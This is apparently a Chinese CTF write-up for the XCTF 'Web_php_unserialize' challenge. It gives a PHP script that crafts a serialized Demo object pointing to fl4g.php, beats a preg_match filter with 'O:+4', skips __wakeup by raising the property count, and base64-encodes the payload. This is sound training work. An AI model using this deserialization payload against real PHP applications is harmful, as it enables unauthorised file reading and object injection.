XCTF-WEB进阶区Web_php_unserialize

打开题目是一堆源码:
XCTF-WEB进阶区Web_php_unserialize_第1张图片主要看preg_match('/[oc]:\d+:/i', $var)'unserialize($var)这两处,给上一个大佬的脚本:

 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
    $A = new Demo('fl4g.php');
    $C = serialize($A);
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup
    var_dump($C);
    var_dump(base64_encode($C));
    
?>

结果如下:
XCTF-WEB进阶区Web_php_unserialize_第2张图片之后将string(68)的结果传参:
XCTF-WEB进阶区Web_php_unserialize_第3张图片

你可能感兴趣的:(CTF)